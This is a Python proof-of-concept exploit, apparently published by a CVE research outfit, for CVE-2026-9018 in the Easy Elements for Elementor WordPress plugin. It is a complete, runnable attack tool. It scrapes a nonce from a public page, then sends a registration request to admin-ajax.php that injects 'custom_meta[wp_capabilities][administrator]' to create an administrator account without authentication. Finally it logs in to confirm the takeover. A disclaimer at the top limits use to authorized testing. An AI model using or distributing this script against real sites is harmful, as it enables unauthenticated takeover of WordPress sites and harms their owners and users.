# ========================================================================== # Atomic Edge CVE Research | https://atomicedge.io # CVE-2026-9018 - Easy Elements for Elementor <= 1.4.5 # Unauthenticated Privilege Escalation via 'custom_meta' Parameter # # LEGAL DISCLAIMER: # For authorized security testing and educational purposes ONLY. # Unauthorized use is prohibited and may violate applicable laws. # You are solely responsible for compliance with applicable laws. # ========================================================================== import requests import argparse import sys import re import json from urllib.parse import urljoin BANNER = r""" ╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-9018 | Easy Elements for Elementor <= 1.4.5 ║ ║ Unauthenticated Privilege Escalation via custom_meta ║ ║ Atomic Edge CVE Research | atomicedge.io ║ ╚══════════════════════════════════════════════════════════════╝ """ AJAX_PATH = "/wp-admin/admin-ajax.php" ACTION = "eel_register" NONCE_ID = "easy_elements_nonce" def fetch_nonce(session: requests.Session, target: str, nonce_page: str, verify_ssl: bool) -> str | None: url = urljoin(target, nonce_page) print(f"[*] Fetching nonce from: {url}") try: resp = session.get(url, verify=verify_ssl, timeout=15) resp.raise_for_status() except requests.exceptions.RequestException as e: print(f"[-] Failed to fetch nonce page: {e}") return None # Match: patterns = [ r']*id=["\']easy_elements_nonce["\'][^>]*value=["\']([^"\']+)["\']', r']*value=["\']([^"\']+)["\'][^>]*id=["\']easy_elements_nonce["\']', r'"easy_elements_nonce"\s*:\s*"([^"]+)"', r"'easy_elements_nonce'\s*:\s*'([^']+)'", ] for pattern in patterns: match = re.search(pattern, resp.text, re.IGNORECASE) if match: nonce = match.group(1) print(f"[+] Nonce found: {nonce}") return nonce print("[-] Nonce not found. Ensure the Login/Register widget is present on the target page.") print(f" Try specifying a different page with --nonce-page (e.g., /login/ or /register/)") return None def escalate_privileges( session: requests.Session, target: str, nonce: str, username: str, email: str, password: str, verify_ssl: bool, ) -> bool: url = urljoin(target, AJAX_PATH) # Malicious payload: overwrite wp_capabilities with administrator role data = { "action": ACTION, "easy_elements_nonce": nonce, "username": username, "email": email, "password": password, "custom_meta[wp_capabilities][administrator]": "1", } print(f"\n[*] Sending privilege escalation payload to: {url}") print(f"[*] Username : {username}") print(f"[*] Email : {email}") print(f"[*] Role : administrator (via wp_capabilities override)\n") try: resp = session.post(url, data=data, verify=verify_ssl, timeout=15) print(f"[+] HTTP Status : {resp.status_code}") print(f"[+] Response : {resp.text[:400]}\n") try: decoded = resp.json() if decoded.get("success") is True: return True else: print(f"[!] Server returned success=false. Message: {decoded.get('data', 'N/A')}") return False except json.JSONDecodeError: # Non-JSON response — check HTTP status as fallback return resp.status_code == 200 except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def verify_admin(target: str, username: str, password: str, verify_ssl: bool) -> None: login_url = urljoin(target, "/wp-login.php") print(f"[*] Verifying admin access at: {login_url}") session = requests.Session() data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1", } try: resp = session.post(login_url, data=data, verify=verify_ssl, allow_redirects=True, timeout=15) if "/wp-admin/" in resp.url or "Dashboard" in resp.text: print(f"[✓] Admin login CONFIRMED!\n") print(f" ┌─────────────────────────────────────────┐") print(f" │ WP Admin : {urljoin(target, '/wp-admin/')}") print(f" │ Username : {username}") print(f" │ Password : {password}") print(f" └─────────────────────────────────────────┘") else: print(f"[-] Login verification inconclusive (HTTP {resp.status_code}).") print(f" Try logging in manually at: {login_url}") except requests.exceptions.RequestException as e: print(f"[-] Verification request failed: {e}") def main(): print(BANNER) parser = argparse.ArgumentParser( description="CVE-2026-9018 - Easy Elements for Elementor <= 1.4.5 Privilege Escalation PoC" ) parser.add_argument("-u", "--url", required=True, help="Target WordPress site URL (e.g. https://example.com)") parser.add_argument("-U", "--username", default="atomic_admin", help="Username for the new admin account (default: atomic_admin)") parser.add_argument("-e", "--email", default="admin@atomicedge.io", help="Email for the new admin account") parser.add_argument("-p", "--password", default="Atomic@Edge2026!", help="Password for the new admin account") parser.add_argument("-np", "--nonce-page", default="/", help="Page path containing the Login/Register widget (default: /)") parser.add_argument("--no-verify", action="store_true", help="Disable SSL certificate verification") parser.add_argument("--skip-verify-login", action="store_true", help="Skip post-exploit admin login verification") args = parser.parse_args() target = args.url.rstrip("/") verify_ssl = not args.no_verify session = requests.Session() session.headers.update({ "User-Agent": "Mozilla/5.0 (compatible; AtomicEdge-Research/1.0)", }) # Step 1: Fetch nonce nonce = fetch_nonce(session, target, args.nonce_page, verify_ssl) if not nonce: sys.exit(1) # Step 2: Privilege escalation success = escalate_privileges( session, target, nonce, args.username, args.email, args.password, verify_ssl, ) if success: print("[✓] Privilege escalation payload accepted!\n") if not args.skip_verify_login: verify_admin(target, args.username, args.password, verify_ssl) else: print("[-] Exploit may have failed. Check prerequisites:") print(" • User registration must be enabled on the site") print(" • Login/Register widget must be published on a page") print(" • Try --nonce-page /login/ or /register/") sys.exit(1) if __name__ == "__main__": main()